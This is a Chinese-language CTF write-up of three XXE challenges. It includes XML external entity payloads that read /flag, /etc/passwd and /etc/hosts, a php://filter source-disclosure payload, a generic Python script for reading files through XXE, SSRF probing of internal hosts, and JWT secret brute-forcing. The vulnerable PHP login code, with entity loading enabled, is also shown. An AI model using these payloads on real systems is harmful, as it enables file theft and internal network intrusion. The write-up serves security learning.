文章目錄
- Fake XML Cookbook
- True XML Cookbook(XXE+ssrf)
- ISCC 未知的風險-1
Fake XML Cookbook

sql注入不行,F12 檢視源碼:
function doLogin(){
var username = $("#username").val(); // val() 方法傳回或設定被選元素的值
var password = $("#password").val(); // $() 相當于 document.getElementById()
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({ // $.ajax() 傳回其建立的 XMLHttpRequest 對象
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
// childNodes 屬性傳回包含被選節點的子節點的集合
// nodeValue 屬性根據節點的類型設定或傳回節點的值
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
} // XMLHttpRequest 對象用于在背景與伺服器交換資料
});
}
抓個包:
可以看到我們輸入的使用者名直接在回顯之中顯示出來,是以我們可以想到能不能用這樣的方式讓伺服器傳回它内部的檔案呢?這樣的話也就是可以讀取到flag了;聯想到XXE顯式攻擊。
payload:
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag">
]>
<user><username>&test;</username><password>123</password></user>
發送xml資料:
import requests
url = "http://0c1959cb-aa7d-465c-9174-124b5eed19fb.node3.buuoj.cn/"
payload = '''<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY foo SYSTEM "file:///flag">]>
<user><username>&foo;</username><password>0</password></user>
'''
r = requests.post(url,data=payload,headers={'Content-Type':'text/xml'})
print r.text
或者抓包:
我們加入xxe語句并讓它回顯我們要它會顯的東西:先來讀取一下使用者名和密碼吧;
我們可以看到,它已經讀取了伺服器下的賬号密碼檔案,接着我們直接讀取根目錄下的flag檔案。通常情況下flag檔案的位置一般就根目錄和var/www/html目錄之下 或者是其父目錄之下。存在的形式一般為flag、flag.txt、flag.php
最後附上一個腳本,專用于利用xml漏洞來讀取檔案的:
#!/usr/bin/python
# -*- coding:utf-8 -*-
import urllib2
if __name__ == '__main__':
print u'輸入要通路的位址,如http://127.0.0.1/xml/xxe2.php'
url = raw_input()
count=1
while count==1:
print u'輸入要讀取的檔案,如file:///etc/passwd'
payload = raw_input()
headers = {'Content-type': 'text/xml'}
xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'
req = urllib2.Request(url = url,headers = headers, data = xml)
res_data = urllib2.urlopen(req)
res = res_data.read()
print res
運作如下:
True XML Cookbook(XXE+ssrf)
進入之後一樣的頁面,一樣的F12源碼。但是此時不能簡單地套用上一題的方法。
首先嘗試直接讀/flag檔案,回顯了報錯資訊:
但是發現利用php://filter協定可以讀doLogin.php檔案:
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user><username>&file;</username><password>1</password></user>
解碼得php源碼:
//doLogin.php
<?php\n/**
* autor: c0ny1\n* date: 2018-2-7
*/
$USERNAME = 'admin'; //\xe8\xb4\xa6\xe5\x8f\xb7
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //\xe5\xaf\x86\xe7\xa0\x81
$result = null;
libxml_disable_entity_loader(false); // libxml_disable_entity_loader用于禁用或啟用加載外部實體的功能。禁用(TRUE)或啟用(FALSE)。
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // loadXML() 方法通過解析一個 XML 标簽字元串來組成該文檔
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{ // sprintf() 函數把格式化的字元串寫入變量中。
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
simplexml_import_dom() 函數把 DOM 節點轉換為 SimpleXMLElement 對象。擷取 DOM 文檔節點并轉換為 SimpleXML 節點:
<?php
$dom=new domDocument;
$dom->loadXML("<note><to>Tove</to><from>Jani</from></note>");
$x=simplexml_import_dom($dom);
echo $x->from;
?>
輸出類似:
Jani
emm……沒什麼發現,但是讀取源碼的payload我還是在這裡記錄一哈。
這一次有所不同,上一題是我們讀取檔案得到flag。這次是刺探存活的伺服器;
其實很多人都小看了xxe漏洞,覺得它隻可以讀讀檔案啊什麼的,其實大錯特錯,它還可以通路内網的主機,和ssrf利用的dict僞協定一樣,都可以刺探存活的主機并且連結通路;也可以看作這個題是在打内網;
好的我們老樣子,我們利用ssrf讀内網檔案。先用file協定讀取相關的檔案 /etc/passwd 和 /etc/hosts;當我們讀取到hosts檔案的時候,我們會發現有幾個ip位址,我們便來通路一下,(到這裡應該可以猜到是在打内網了)
隻能想到利用xxe進行ssrf打内網,掃描一下内網ip的幾個檔案:/etc/hosts,/proc/net/arp,/proc/net/fib_trie
讀取到passwd的效果如下:
讀取到hosts的效果如下:
**然後我們開始猜内網。**既然我們知道了這一點,我們就可以直接用http協定通路了。我們嘗試通路173.113.242.10:
發現報錯,說明沒有這台主機,其實我們已經知道是打内網了,那就多來試幾台
還可以讀取arp路由:
ISCC 未知的風險-1
進入後抓包
然後jwt爆破得到秘鑰為123456,
然後我們僞造user使用者
得到了一個登入框頁面的源碼:
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
和上面兩個題的源碼是一樣的,哈哈哈。
猜測flag在根目錄:
沒有
也沒有。會不會在web目錄下呢:
base64解碼即可得到flag:
參考:https://blog.csdn.net/zss192/article/details/105974121/